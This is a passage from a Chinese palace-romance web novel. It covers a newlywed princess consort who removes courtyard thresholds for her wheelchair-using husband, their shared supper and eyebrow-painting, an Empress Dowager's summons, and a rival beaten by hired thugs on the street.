白蔹:“王爷每隔几日,需要由管家调理身体,且宫里的御医,也会来流霞院给王爷诊治,上次王妃你还遇见了。” 谢窈早就听说箫熠之的腿需要专门推拿按摩,住在一起,确实多有不便。 她没有多言,表示自己知道了,便带着自己的人离开。 箫熠之轮椅坐在原地,眉头微拧。 大婚第二晚,自己不和王妃睡在一起,王妃就这么留都不留自己一句? 难道是自己刚才说错了话,语气不好? 他确实可以自己给自己绣香囊。 还是自己今早起晚了,耽误了她练刀? 要么,是谢窈不喜欢睡婚床外侧? 内侧也不是不行啊。 第143章 三房心思,王妃拆门槛 萧云舟刚回到三房院子,就听见院内,母亲周夫人正在和嫂子小周夫人互相阴阳怪气。 “婆母身为女子,怎能舞刀弄枪,传出去,还以为萧家苛待了咱们周家。” “呵呵,我和你不同啊,我家成肃就我一位夫人,他血气方刚,我跟侄媳妇学武功,是为了强身健体,老了也多陪伴成肃。” “婆母一把年纪,把这种闺房之事拿出来说,真是……真是滑稽。” 萧云舟一个头两个大,刚要溜走,一转身,被他的亲哥萧文远抓住。 萧文远被母亲和妻子夹在中间,左右为难,看见他,可算是找到了救命稻草。 “萧云舟!你又去哪了,让你写的策论写了吗,父亲让你看的书目你看了吗!” 萧云舟吊儿郎当地挑眉:“写了,看了,行了没?” “不行!” 萧文远眉头紧皱,冷声道:“你看看你,不读书,整日惦记武夫干的事,父亲是刑部尚书,你不理会,反倒天天把什么大将军二将军挂在嘴边,像个什么样子!” “那是顾刀将军!” “我管什么刀将军剑将军。” 他一说话,周夫人和小周夫人不吵了,一致看过来。 周夫人语重心长地唠叨:“文远说的对,云舟啊,你也不小了,再有两年就是及冠之年,是该好好读书,明年春闱考取个功名,以后在朝堂之上,也能帮衬你父亲和大哥,再说,你就是真想练武,等考中进士了,我亲自给你选武师,你到时候练个够。” 萧文远讪笑:“听到了没,为兄就不用你帮衬了,主要是父亲年事已高,又公务繁忙,你得为他分忧!” 他只是个六品的工部员外郎,自幼不及萧家其他人聪明,不过,他也没什么大志向,倒也活得自在。 小周夫人则翻了个白眼,嗤笑:“云舟考取功名?那还是学武吧,正所谓穷学文,富学武,咱家供得起,就算王爷不成了,说不定萧家还能再出个武将呢。” “闭嘴!” “住口!” “住嘴!” 话音刚落,萧文远萧云舟和周夫人,异口同声。 “不管王爷是什么样子,不管外人怎么说,他都是萧家家主,夫人请慎言。”萧文远道。 周夫人更是说:“你是肚子大了,就心思野了,但是你别忘了,萧家是因为王爷才有的今天,因为王爷,才有了世袭罔替的王爵之位,萧家可以没有我夫君,你夫君,但一定得有王爷。” 萧云舟眼神锐利如刀,沉沉地看着小周夫人:“堂兄的腿,是为大燕废的,你不配议论他。” “你,你们三个这么急做什么,我只是一时口误,说错了话,我当然敬重王爷。” 小周夫人没想到自己一句话,这仨人都反应这么大,只好怯声解释。 这话揭过,萧云舟又变回张扬不羁的模样,抬起双臂叠在脑后,懒洋洋地走出院子。 “我就想不想读书,就是想学武,就喜欢顾刀将军,我以后要当将军,你们管不着。” “这孩子!” 周夫人气得不行,萧文远又开始安抚。 只是,他一直望着萧云舟的身影消失,才收回视线。 想起之前在书房看见那些被翻烂的兵书,萧文远原本骂弟弟不争气的话,说不出口。 堂弟箫熠之以军功封王,他的腿,为大燕废了。 萧家若没有一个学武之人,往后只会江河日下。 而自己又笨,又年纪大了,不可能弃武从文。 他的弟弟,是替他,拿起了小时候最不喜欢的刀。 * 跟王爷“各奔东西”后,谢窈回到扶光院。 其实扶光院和流霞院就隔了一堵墙,只不过,扶光院地方开阔,院植梧桐。 流霞院更静,院内有一棵高耸的黄栌树。 谢窈看见院子西北角的空地,叫来忍冬:“你去把追墨抱来,还有王爷给我的那六对聘雁,连着笼子一并端来,以后,就养在那儿吧。” 忍冬并没有觉得不妥,长思等人还在熟悉主子的行事风格,也不敢多言。 “明日丈量好尺寸,在这里垒个鸡窝,再圈出篱笆,要高一些。” 谢窈又找来七两,拿出一张纸,就像自己当初吩咐他去买引火之物清单那样,将这张纸交给他。 七两连忙打开纸,看了一眼。 ——南淮大街丙字号宅院。 他心里松懈许多,还好还好,这次要烧的只是个宅院。 “你暗中查一查,这宅院里面住了什么人,房主是谁。”谢窈吩咐。 这处宅院,是谢明安密室账册内,对应金眼玉佛最明确的地址,且被王管事作证过,受贿者是个神秘贵人。 如果能查明宅院主人,证明文昌伯向朝中三品以上高官行贿,就算谢明安再谨小慎微,也逃不过追责。 七两:“只是查,不烧啊?” 谢窈:“你把我当什么了,我这么心善,是随随便便就烧别人宅院的人吗。” 七两匆匆离开。 谢窈站在院中,视线落在院门口的门槛上。 那门槛足有一尺高,上面还雕刻着精细的花纹,寻常人跨过无碍,但对于坐在轮椅上的人来说,却是极大的阻碍。 萧家正厅,还有流霞院等一些王爷常出入的地方,都拆掉了门槛,但听说扶光院是王府落成时,专门建做王妃院子的,王妃又一直未定,所以没有人敢动。 谢窈当即唤来齐嬷嬷:“嬷嬷,我想把扶光院的门槛拆了,用青石砌成平地,不知需要多久?” “拆门槛?” “是,扶光院的正门,正屋,偏房,厢房等,门槛全拆掉。” 齐嬷嬷一愣,想了想,用力点头,笑得格外灿烂:“这事不难,老奴马上去办,一日就能砌成,只是,有几个屋的门帘得跟着更换,但也不费事。” 谢窈也不知自己只是拆个门槛,她怎么忽然高兴了。 齐嬷嬷拉着丫鬟棠心离开,走的时候,两人低声嘀咕。 “扶光院如此气派,王妃为何要让人拆了门槛啊?拆了之后,门能关严实吗。” “你这小丫头懂什么,王妃,心里是有王爷的……” 另一边,箫熠之正在流霞院里屋。 他把白术白蔹等侍卫都赶走,悄悄找出一大包靖宁夫人留下的绣绷丝线等物,开始缝制香囊。 自己说的王妃是全才,给自己缝了七八个香囊,那坐在轮椅上也要完成。 只是,刚绣一会儿,他脑海里就浮现出一个名字。 ——顾刀。 ——王妃在北境的旧相识。 同为武将,虽然箫熠之没见过这个顾刀,却听过此人之名,也曾分析过他打过的几场大仗。 顾刀出身黔首,名字都是顾大将军赐的,传闻他俊美似女子,还有人说他就是个女子,曾与苏怀恩齐名,在北境声望极大。 此人十三四岁就上了战场,轻骑破阵,十五岁曾大破领兵进犯边关的雍国太子,因为这件事,他名声大噪,这两年也屡屡建功。 而且,顾刀和谢窈年纪相仿。 箫熠之喃喃一句曾说过的话:“本王,年纪很大吗。” 忽然,外面传来叮叮当当的敲打声。 白蔹“嗖”地进来禀报:“王爷,出事了!” 箫熠之迅速将桌案上绣绷扫到一旁,面无表情地抬眸,道:“以后进本王的房间,要敲门。” “……属下知道了。” “什么事?”箫熠之镇定地问,唇角勾起一抹淡淡的笑容,“是王妃的人来,让本王今晚去扶光院了?” 白蔹:“没有,但王妃把门槛拆了,王爷你说,她是不是想把您扫地出门啊?” 第144章 王爷改变,打开王爷心门 箫熠之放下针线:“拆门槛?” 白蔹:“是啊,外面敲敲打打的,很大动静,王爷您听不……咳咳。” 他把“听不到吗”四个字憋了回去,心想王爷只是双腿不良于行,耳朵肯定没有问题。 都怪谢二小姐总是语出惊人,带得他都胡言乱语了。 “哦对了,王妃还命人拿来了那六对聘雁,还有一只鸡。” 箫熠之没在意这话,垂下眸。 扶光院的门槛高,轮椅每次通行都麻烦,不知谢窈拆了门槛,是单纯为他方便,还是刻意讨好自己? 又或者,他的王妃是在邀宠? “下人怎么说?”王爷问道。 白蔹:“下人?这大冬天的,下人应该抱怨不愿意干活吧,不过,这既然是王妃的吩咐,他们不敢不从,要不,属下去盯着?” “有下人,敢抱怨?” 王爷低声喃喃。 是了,谢窈刚入府第二日,自己若住在流霞院冷落她,府里的人哪怕表面不敢,也会在心中轻视他。 何况,她都跟自己示好了,自己若不去,是落了她的面子。 王爷蓦地开口:“叫管家现在就来。” 片刻后,老管家提着药箱,匆匆赶来。 管家年轻时,是靖北军的军医,年纪大了之后,经过高人指点,医术精进,在府中既是管家,又是专门负责王爷身体的医者。 他好奇地问:“王爷平时不都是午后推拿吗?” 箫熠之没有解释,已经熟练地脱衣服,淡淡地说:“从今日起,每两日的推拿改成上午。” “是。” 老管家这就取出药油,打开塞子,一股清淡苦涩的药味传来。 王爷嗅到这早就习惯的气味,忽然又道:“以后,在药油中加些桂花香粉。” 管家不敢多问,心里却很高兴。 这是怕王妃不喜药油的气味,他立即叫人去取桂花研磨的香粉。 往日,王爷对推拿等事虽然不抗拒,但也不主动。 他接受推拿调理,只是为了不成为一个躺在床上,连翻身都要别人帮忙的废人,而对于医者究竟要如何调理,吃什么药,味道如何,他没有任何要求和反应,整个人死气沉沉。 可之前,王爷为了骑马,勤加锻炼,如今又提前了推拿时辰。 何况,只有对一件事上心,才会让人改变药油的气味。 老管家是看着箫熠之长大的,他还记得两年前,王爷刚受伤时,也曾暴怒疯狂,也曾心如死灰,所以见到王爷现在只是一点点改变,他心里却是说不出来的高兴。 箫熠之只穿中衣,更是脱掉裤子,面无表情地倚在床榻上。 一旁侍从已经备好热帕子,老管家接过帕子,使用加入香粉的药油,熟练地推拿起来。 王爷的双腿当初筋脉尽断,又中了毒,为了稳住腿疾不再加重,防止肌肉萎缩,生褥疮,必须要时常推拿按摩,且每日沐浴。 箫熠之垂眸,看着自己的腿,蒸腾热气的帕子落下,他毫无知觉。 往日被推拿时,他一闭眼,总能回想起岐江一战,耳边是刀枪刺入皮肉,利箭穿骨的声音,麾下将士的鲜血还溅在他脸上,冒着泊泊热气。 他们在说:王爷,大燕将士,宁死不降,可是王爷,好疼啊…… 而睁开眼,盯着自己双腿,他更是心里控制不住升起戾气。 但此刻,听到隔壁敲敲打打的声音,箫熠之却在想,也只有谢窈这样的女子,敢在嫁给他第二天,为了他,拆了那几重门槛。 扶光院里,几名工匠和下人将拆下的旧门槛清走,铺上青石。 院子西北角,一只通体乌黑的母鸡,正昂首挺胸溜达着,炫耀自己阳光下黝黑发亮的羽毛,对那几只被关在金笼里的聘雁嗤之以鼻。 谢窈和齐嬷嬷等人,则在偏屋的账房内,确认王府的账目。 齐嬷嬷对她解释账目上的内容,长思则在旁边拨动算盘。 府中每一笔开支,王爷的爵禄,宫里的赏赐,许家与母亲给她准备的嫁妆,之前王府的聘礼,也都一一清点造册。 尤其是这些嫁妆聘礼。 王府给的聘礼本就很多,母亲这边,除了之前家中箱子里那些东珠和田产铺面,更多的是现银,银元宝有千两,金元宝和金锞子也有一箱,还有就是她仅剩的一些首饰。 至于许家,嫁妆更是扎扎实实,奢侈至极。 不说几千两的银元宝,银票,还有几箱金锭,几千亩良田,田庄铺子。 仅仅是金丝楠木的八柱局脚塌,床榻顶是蜀锦织就的暗花幔帐,黄花梨嵌螺钿的梳妆台,妆奁,箱匣,花瓶,包括锅碗瓢盆,就让人眼花缭乱,应有尽有。 饶是替老夫人管了半辈子账的罗嬷嬷,见到这样的手笔,也在心中感叹许家之阔,对谢窈越发恭敬尽心。 谢窈一边理账,一边不动声色地询问:“长思,你可知道澄园?” “奴婢听少东家说起过,那是乱贼睿王还未封王时的私宅,被老家主买下,做了伯夫人的陪嫁,后来,文昌伯用澄园举办过几次宴席。” 长思回想一番,条理清晰地回答。 “但那园子占地颇大,若要打理,花费也巨大,如今恐怕除了早年老家主准备的许管事,园内已经没人住了。” 谢窈眼神一凛,道:“你是说,澄园的管事姓许,是外祖父的人?” “许管事是家生的仆从,就算园内其他下人都遣散了,他也会留下看园。”长思点头。 “他曾因文昌伯缩减园中用度,数次回许家询问过家主,家主每次都给他拨几百两银子呢,当时奴婢虽然还小,但也见过他两面。” “既然如此,我有件事,要你去做。” 谢窈勾起唇角,低声交代了些许:“你取五百两银票,再带上七两出王府一趟。” 齐嬷嬷道:“王妃,若是有事要办,带上王府的亲卫吧,都是军中老卒,吓也能把人吓死!” 谢窈想起箫熠之早晨还说,一切事都能吩咐白术,便点头道:“好,那就再带两名王府亲卫。” 账目理得差不多了,窗外太阳沉到屋檐,霞光漫进窗棂。 棠心来报:“王妃,该用晚膳了。” 谢窈刚出屋,就见罗嬷嬷领着两名厨师,一位厨娘来到扶光院。 几名侍女在她身后,手里端着饭菜。 罗嬷嬷道:“王妃,这两位原是凝辉院的老厨,这位则是江州人,老夫人知道您外祖家祖籍江州,上个月就命老奴特意寻来了江州厨娘,往后,就留在扶光院了。” 谢窈道:“多谢罗嬷嬷。” “王妃切莫多礼,都是老夫人吩咐的,老夫人还说了,王府就是您的家,若饭菜有任何不合口味,都跟厨师吩咐。” 三名厨师一齐向谢窈见礼。 罗嬷嬷又跟齐嬷嬷点了点头,便和众侍女一同到饭厅布了菜,这才要离开。 她原本下意识要抬起脚跨过饭厅门槛,见到已经平坦的门口,愣了一下。 来的时候未曾注意,如今看,扶光院里多了一只安静咕咕的母鸡,几对大雁,还有…… 扶光院门口,白术推着坐在轮椅上的王爷,在夕阳下迎面而来。 满院霞光,落在王爷绛红滚金长袍上,金冠墨发,衣身上的金线熠熠生辉。 轮椅平稳地滚过地面,没有半点颠簸,也不需要铺在门槛上的木板。 罗嬷嬷不知为何,忽然想起王爷还是靖北侯世子时,那样意气风发,如初升朝阳,锐不可当。 她眼眶一涩。 王府的门槛,部分在王爷受伤最初撤了,但另一部分,却越是阻碍轮椅,越不敢拆,怕王爷多想。 只是,却没人敢想,王爷此前一直不踏出流霞院,或许,正因这些颠簸的门槛。 王妃拆了扶光院的门槛,未尝不是,打开王爷那道紧闭的心门。 谢窈走上前,语气自然:“王爷怎么来了?” 箫熠之瞥过地上新铺的青石板,眸色深了深。 “路过,便来陪王妃用膳。”他轻声说道。 第145章 王爷为她立威,画眉深浅 晚膳是六菜一汤,其中有道江州炙鱼脍,鲈鱼鲜美,香气扑鼻。 谢窈看见这道差点让母亲和自己中毒,但最终让谢明安中毒的菜,笑了笑,拿起筷子品尝起来。 她的确有些饿了,吃了一口后,不由称赞:“做得比伯府更好吃。” 随即想到旁边的箫熠之:“对了,王爷要不要尝尝?” 王爷见她眉目舒展,心想,王妃是在邀请自己? 他伸出筷子,夹了一块鱼肉。 还没等王爷做出评价,谢窈又吃了一大口粉蒸肉,双眸明亮,像一汪清泉看着他:“入口软糯,王爷试试吗?” 箫熠之不喜油腻,本想拒绝。 只是,想到这毕竟是他第一次正经陪自己王妃用膳,他不愿在下人面前,拂了她的面子,也不愿她跟自己吃个饭也吃得战战兢兢。 王爷最后屈服了,默默夹起粉蒸肉。 怕王妃觉得自己勉强,他吃完之后,又点了点头:“尚可。” 这话,让方才布菜,现在还没退下的三个大厨面面相觑,热泪盈眶,激动万分。 回头他们就跟流霞院的厨师说去,王爷喜欢他们做的饭菜,那几个得羡慕死。 谢窈再次夹菜。 王爷不由自主跟着她的节奏。 不知不觉,谢窈吃完一碗饭,又要一碗,王爷碗中的饭也见了底,同样又盛半碗饭,喝了半碗豆腐鸭汤。 老管家在旁边眼睛都亮了。 上次王妃还没成亲时,给王爷带来云鹤楼的饭菜,王爷全吃了,他就惊到了。 事后还让厨房的大厨,照着那些饭菜做给王爷吃,王爷却没什么胃口,他还以为是厨师的问题。 这次他算明白了,王爷平时一碗饭都吃不下,现在却用了两碗,是因为王妃! 换做旁人,哪能让王爷多吃一些,不多吃饭食,王爷的身体又怎么能好。 只有白蔹摸了摸下巴,心道,老夫人特意给谢二小姐请来的厨师,做饭就是好,看王爷吃得香,他也饿了。 两人用得差不多了,棠心来通传:“王爷,王妃,周夫人身边的琪儿来了。” 棠心是王府管事嬷嬷的女儿,擅长梳妆,心也细,有她在,谢窈就算不认识王府的人,也不会再发生小周夫人的侍女冒充周夫人侍女那样的事。 只是,见到琪儿进来,棠心却面色敛了敛。 谢窈注意到她的神情,这两个丫鬟,不对付? 琪儿呈上一个掌心大小的描金锦盒,恭敬地行礼:“王妃,我家夫人说,这盒青雀头黛是她新得的,她年纪不适合,又不想暴殄天物,特意让奴婢送来给王妃。” 她又看向王爷,鼓起勇气道:“夫人还说,她听过一首诗,是‘妆罢低声问夫婿,画眉深浅入时无,’明日王妃回门之礼,王爷若为王妃画眉,肯定会让人感叹您二位夫妻情深。” “替我谢过三叔母。” 谢窈让棠心接过锦盒,只是笑笑,并未接话。 两个丫鬟对视了一眼,同时别过头去,像都看对方不爽。 箫熠之目光掠过锦盒,握着汤匙的手顿了顿,心里想到什么,耳根竟然泛起热意。 等琪儿离开,棠心又去送了,倒是让谢窈挑起眉。 齐嬷嬷在一旁看在眼里,想说些什么,但面露顾忌。 随即,谢窈想到回门的事。 王爷不愿出门,这显而易见。 若她日日坐在轮椅上,也不想出门。 纵然旁人畏他惧他,那些目光也不会好。 谢窈索性主动对箫熠之开口:“明日回伯府,王爷若是不便,不必特意陪我去。” 箫熠之想起晚膳前白术通报,说谢窈派自己管账的丫鬟,带着两名亲卫,出了王府。 看来,谢窈回伯府,必然不是走个过场,而是要做什么事。 “本王既然答应你,就不会食言,”箫熠之眼眸深邃,“你我夫妻一体,本王既然无事,当然要陪你一起回门。” 谢窈望着王爷,应了一声:“好。” 她想起前世,回门前夜,陆慎言眼神飘忽,语气也为难,说道:“窈儿,我身体重伤未愈,还要忙于课业,实在是分身乏术,明日你就一个人回门,可好?” 谢窈看着他,同样说:“好。” 一样的话,说出口,却是不一样的心情。 晚膳之后,箫熠之让白术推轮椅。 谢窈以为他要回流霞院,只是,王爷的轮椅,却停在扶光院中央。 院内的丫鬟嬷嬷等下人们正在收拾,老管家也在,见到王爷,一个个躬身行礼:“见过王爷。” 箫熠之目光扫过众人,桃花眸映着院内点起的点点灯火,寒冽如星辰。 “为何不见过王妃?” 王爷指尖在轮椅上点了两下,幽幽地反问。 这话轻飘飘的,却让满院下人惊慌失措,对着谢窈伏身跪拜:“见过王妃!” 箫熠之的声音冰冷清幽:“王妃好说话,本王也很心善,若从今往后,再有不敬王妃之举,本王不介意给后山的狼发发善心,让它们吃点新鲜的。” 下人们瞬间脸色发白,一个个磕着头,齐声道:“奴婢/小的不敢,定敬重王妃,如敬王爷!” “回去吧。” 箫熠之勉强满意,让白蔹推他。 他清楚自家王妃的手段,知道她不会受欺负,就算真被欺负,也会狠狠报复回去,但是,为她说这些,这是自己身为丈夫应当做的事。 眼看侍卫要把自己往隔壁推,王爷呼吸一窒,不得不再说一句:“本王今晚住在扶光院。” 白蔹这才推他进了主屋里屋,终于没再问需不需要扶他上床榻,就和其他人一起退了下去。 屋内又只剩下二人,谢窈感谢:“多谢王爷刚才为我立威。” “这是小事,本王娶你,不是让你受委屈的。” 箫熠之说着,目光落在王妃梳妆台,上面放着周夫人刚才送来的那盒青雀头黛,不经意地开口:“只是,本王从未给女子画过眉,怕明日画不好。” 谢窈恭维:“王爷连香囊上那么多复杂精细的图案,都绣得好,画眉自然不在话下。” 箫熠之却摇头:“你坐下,本王现在给你试试。” 谢窈张了张口,听出王爷语气固执,只能先将他推到梳妆台前,自己坐在矮凳上,语气淡然:“画吧。” 箫熠之见她这么淡定,打开青雀头黛,随即,轻轻托起她的下巴。 谢窈一下子不淡定的了。 王爷的指腹微凉,她抬起眼,正好对上对方幽深莫测的眼眸,灯火柔和,让那双桃花眸终于显现出蛊惑的意味来。 谢窈的呼吸漏了半拍,嗅到淡淡的桂花香,是她喜欢的味道,感觉很好吃。 她情不自禁地深吸一口,脱口而出:“王爷身上好香啊。” “别动,”箫熠之声音低沉,不知为何,多了一丝喑哑,指腹轻而缓地掠过她的脸颊,像撩拨人心的柳絮,“是本王身上药油的味道。” 谢窈“哦”了一声,乖乖不动,这样近的距离,她越发细看王爷的美貌。 她没动,眼神却像灼人的烛火,点燃箫熠之心里的火。 王爷喉结滚了滚。 这么看自己,王妃是故意的吗。 箫熠之手不小心一颤,眉黛画偏了一笔。 王爷收了手:“本王没画好,就不浪费眉黛了。” 谢窈对着铜镜看了看,没觉得哪里有什么问题:“我觉得还行呀。” “只是王妃天生丽质。”王爷语气有些不自然,像在掩饰什么。 “那我扶王爷上床休息。” 谢窈很自然地将王爷的轮椅推到床榻边。 王爷:“你先去卸妆吧,方才,齐嬷嬷好像有什么事要跟你说。” 第146章 太后宣进宫?回门之日 谢窈摸了摸自己的眉毛,想问,难道真的很难看? 不知为何,她还有点不想走。 不过,提到齐嬷嬷,谢窈还是正色几分,应声后,转身走出内室。 冷风一吹,她才发觉自己脸热得厉害。 昨日大婚之夜,王爷赶走了扶光院所有丫鬟侍从,是不愿被人听墙角,但今天就没必要了。 之后每晚,由齐嬷嬷,棠心和忍冬三人轮流守夜。 齐嬷嬷正站在外屋门口,脚下是自己的铺盖,见谢窈这么快出来了,而且衣着整齐,她连忙将“可是要叫水”这句话憋了回去。 王爷之前在院中的话声声入耳,扶光院之人敬王妃如敬王爷,就算两位主子还没圆房,也不是她该置喙的。 齐嬷嬷备了水,由她为谢窈沐浴卸妆。 谢窈问道:“嬷嬷刚才,可是要跟我说什么?” 齐嬷嬷:“王妃真是一双慧眼,老奴确实是有事要报,不过,不是什么大事,是关于棠心的。” 谢窈心中了然,棠心与周夫人院中丫鬟琪儿见面时,神情不太对。 棠心是萧老夫人给她可用的丫鬟,还是府中管事罗嬷嬷的女儿,就算齐嬷嬷不说,她也会问清楚,而齐嬷嬷主动说了,证明不是大事。 看王妃神情淡然,齐嬷嬷便明白她早就看了出来,更是知无不言。 “棠心和琪儿,本是情同姐妹,都怪之前,三房云舟少爷的贴身书童砚方,曾与琪儿交好,又说爱慕棠心,最后两位姑娘都舍了他,只是,她们二人的情谊,也不复从前了。” “原来是这样。” 谢窈回想起白天,她遇见萧云舟时,的确见他身边有个容貌清秀的书童,想必那个就是砚方。 一个书童,还想脚踏两只船。 谢窈不禁感慨,长得像文质书生的果然不行,还是王爷那样的武将好。 齐嬷嬷又道:“王妃放心,棠心是个看得开的好孩子,心里如何,绝不耽误为您做事,至于三房那边,老奴说句逾矩的话,周夫人是个直性情,只有小周夫人有些弯弯绕的心思,但她有孕在身,忙着处理自己屋里文远少爷那两个妾室,手绝伸不到咱们扶光院。” 萧家三房还是很热闹的,萧三叔与三叔母是少年夫妻,彼此倒是清静。 萧文远与小周夫人虽然也恩爱,却还有两房小妾,三子两女。 齐嬷嬷还说,小周夫人甚至前些日子从娘家找了位表小姐,生怕自己有孕期间,萧文远孤单寂寞。 谢窈:“难怪萧文远夹在他母亲与他夫人中间难做,我要是有个一直给劝我纳妾,给我找小妾的妻子,也会偏爱的不行。” 齐嬷嬷:“……” 谢窈卸完妆,也沐浴之后,齐嬷嬷又在浴室加了炭盆,动作轻缓撩起她的头发。 待她头发基本干了,回到里屋。 萧熠之已经脱掉外袍,一身素色里衣,靠在床头,双腿盖着锦被。 王爷又趁她卸妆时,自己换衣服了。 谢窈没点破。 王爷看见王妃今日的头发是干的,张了张口,默默躺下:“不早了,睡吧。” 今晚没有喜烛,谢窈灭了灯火,睡在床榻外侧。 她思忖着明日的事,鼻息间,还能嗅到王爷身上淡雅的桂花气息。 不一会儿就有了困意,安然入睡。 王爷等了很久,今晚没有喝酒的王妃安稳得很,并没有再缠着他的腰身不放。 次日天光微亮,扶光院内便忙活起来。 谢窈换了身正红色绣暗纹的直裾深衣,玄色腰带,由棠心梳妆打扮,萧熠之也是样式近似的衣袍,坐在轮椅上,冷峻的面容因红色而显得柔和许多。 回门礼早已备好,都是挑给许素素个人的礼品。 白蔹推着王爷的轮椅,到了王府门口时,白术已经带着一队王府亲卫守在马车旁。 谢窈身为将军,一眼就看得出,这些王府亲卫,个个是军中悍卒,随便一个都能横扫三五个空有花架子的皇宫禁卫。 “上车吧。” 王爷刚开口,远处一个尖细的嗓音响起。 “靖北王,靖北王妃接旨——” 一个身穿宫服装的小太监,领着几名宫人疾步跑来。 走到近前,小太监拉长语调:“太后口谕,王爷与谢氏新婚燕尔,乃王府之喜,亦是宫中之喜,宣王爷携新妇入宁寿宫拜见,为新人贺,另为王府亲卫庆功。” 他脸上挂着谄媚笑容:“王爷王妃,太后已经在宫中备下赏赐,二人请动身吧。” 谢窈眼神一凝,来的,竟然是江太后的人。 王爷素来不进宫,即便新婚,也可以不入宫拜见,所以皇上没有多此一举。 但没想到,太后主动传旨,让他们进宫拜见。 应该是太后仍旧不满皇上对他们的赐婚,此刻让他们进宫,宫中,必然是一场鸿门宴。 不过,兵来将挡,水来土掩。 “王爷,那我们——” 萧熠之却根本不领旨,声音低沉:“本王身体不便,御医叮嘱,不让本王出门,进宫拜见太后,怎么拜,让本王跪拜,五体投地?” 小太监旁边的宫人道:“可王爷这分明是要出……” “啪!” 小太监用力甩了宫人一巴掌,狠啐了一口:“哪里有你这狗奴才插嘴的份。” “王爷息怒,太后体恤您,怎会让您跪拜呢。” 随即,他重新堆起笑容。 “只是,太后让奴才出宫时说了,前日您大婚,三百王府亲卫做仪仗队,那气派情景,太后觉得此事办得好,所以与陛下商议之后,欲赏银千两,犒劳您府中亲卫,给亲卫们做笔添衣钱,还得您亲自去领。” “本王可以进宫,但回门是定俗,不容更改。” 萧熠之没看小太监,一字一顿。 他知道谢窈想在回门时做什么,所以,即便他要进宫,也不会耽误她的事。 小太监急忙又说:“回门是民间习俗,王爷王妃尊贵之身,不必遵循,还是拜见太后更要紧一些。” “拜见太后,要紧吗?” 萧熠之幽幽反问,眼神冷戾阴沉。 小太监吓得彻底失言。 王爷这才对白术吩咐:“本王代王府亲卫,进宫领赏,你带人护送王妃回文昌伯府,本王晚一些,会去接王妃回家。” 回家。 谢窈压下心中一丝异样,点了点头,这样也好。 前日,王府亲卫与皇宫禁卫一起,做了两人大婚时的仪仗队。 太后要赏赐这些与靖北王同生共死的袍泽,还说是与皇帝商议的结果,王爷自然要亲自去领赏谢恩。 兵分两路,不耽误她的计划。 即便萧熠之不在,她也不会乱了阵脚。 说不定,因为王爷不在,谢明安会让这场风雨,来得更大一些。 白蔹推着王爷轮椅,跟小太监一行人到另一条路,谢窈则带上忍冬,上了原本的马车。 马车很快驶离王府,到了东街。 陆慎言正杵着拐杖,躲在街角。 谢窈掰断了他的手腕,还打掉他好几颗牙,这些日子,他一直在床上躺着养伤。 一开始,陆慎言恨不得杀了谢窈。 可躺在床上,他总会想起刚回京那日的谢窈,在文昌伯府拒绝他的谢窈,还有……像看什么污秽之物般看着自己的谢窈。 本该恨到骨子里人,却又让他心生出不可抑制的情愫。 陆慎言心思复杂,心乱如麻,却没有发现,他身后不远处,站着一个头戴斗笠的男子。 第147章 渣爹转性,要父慈子孝? 陆慎言心想,以他和谢窈年幼时的交情,若不是谢窈找到了醉雪楼的女子,若不是自己那日气急败坏,或许,他当初还是有机会的。 前几日,在谢窈和靖北王大婚的时候,他本想悄悄看谢窈一面。 一面就好。 正要出门的时候,陆慎言看见谢家庶女谢枝,被一顶小轿,送进雀草巷巷尾那间旧宅子里,听说,成了安平侯的外室。 看见谢枝的下场,陆慎言心里说不出的快意,毕竟,他落得这般田地,谢成榆和谢枝也有份,不过,他还有些害怕,所以最终缩回了家。 当天夜里,陆慎言做了一个梦。 梦里,他虽然身受重伤,谢窈却衣不解带地照顾着他。 醒来后,陆慎言内心一片悲凉,再看自己身上的伤,想到自己不能科举,他眼中再次被恨意填满。 谢窈为何不能像梦里那么温柔呢? 既然他已经被毁了,这个女人也别想好过。 今日是谢窈回门的日子,她飞上枝头变凤凰,那他就要做这只凤凰身上的污点。 “快看,那是谁家的马车,后面的府兵真是凶神恶煞。” “没见到马车上萧家的族徽吗,定然是新嫁过去的靖北王妃回门!” “不愧是靖北王府,回门还带着兵,不知道的,还以为王妃要回去抄家呢。” 路人的议论声拉回陆慎言的思绪,他猛地抬头,就见一辆马车驶来,侧后方的披甲亲卫步伐凛然,带着震慑人心的煞气。 是谢窈回门的马车! 陆慎言攥紧拳头,呼吸急促了几分,就要冲出去大喊。 而他身后戴着斗笠的男子,也抬起手,正要挥动。 这时,一阵风吹过,掀起窗帘,露出谢窈端坐的容颜。 她发间佩戴赤金凤钗,侧脸在晨日的光影里莹莹如玉,美得晃眼。 陆慎言心头一跳,眼神瞬间痴迷起来。 但很快,他见到自己手中的拐杖,回想起街坊邻居的嘲讽,眼中的痴迷又被恨意取代。 车内,谢窈敏锐地察觉到一丝恶意,冷眸随意向外扫去,看见了街角的陆慎言。 迎上谢窈目光的瞬间,陆慎言浑身僵住。 一双漆黑凤眸,带着冷厉的杀伐之气,锐利如箭矢,仿佛能刺穿人心。 明明只是一个眼神,却让他瞬间想起被谢窈踩在脚下时的痛苦。 顿时,陆慎言呼吸困难起来,刚积攒的勇气,顷刻间消散得干干净净。 谢窈不屑地收回目光,车帘落下,她心里没有半分波澜,唇角勾起一抹冷笑。 这就认命了?如此无能懦夫,可不好玩。 街角的陆慎言还在瑟瑟发抖,又羞又恨。 ——他居然被谢窈一个眼神吓住了!不,不是这样的,如今谢窈是靖北王妃,还带着兵,她是在仗势欺人! 陆慎言还在自我安慰着,一个麻袋从天而降,将他死死罩住,顺势拖到无人的小巷! “你们是谁,放开我!放开我!” 陆慎言拼命挣扎,却被几只手按在地上,拳脚骤然落下,疼得他惨叫连连。 “光天化日,你们竟敢打我——你们到底是谁?!唔——” “敢对谢二小姐不敬,打死你也是轻的!” 一个粗鲁的声音响起。 陆慎想起那些马车周围的王府亲卫,瞪大眼睛,撕心裂肺地惨叫:“是靖北王,你们是靖北王派来的!” 那声音不再说话,只是专心揍人。 很快,陆慎言就鼻青脸肿,被踢到旧伤,彻底昏死过去。 几个壮汉拍了拍手,拎着麻袋扔到巷尾,转身走到远处吃着肉包子,平静观看的斗笠男子面前。 “没十天半个月下不来床,公子,结账吧。” 裴隽三两口将一个包子吃完,这样寻常的动作,只因他那张过于俊逸的面容而显得文雅。 他用帕子仔细擦净手,从怀里摸出钱袋子,将说好的银钱交给为首的壮汉,目不转睛盯在银两上。 壮汉数了数:“有零有整啊,您就不能多给点,真抠。” 裴隽尴尬而不失风度地微笑:“囊中羞涩,说好了这些嘛,我也没少了几位好汉。” 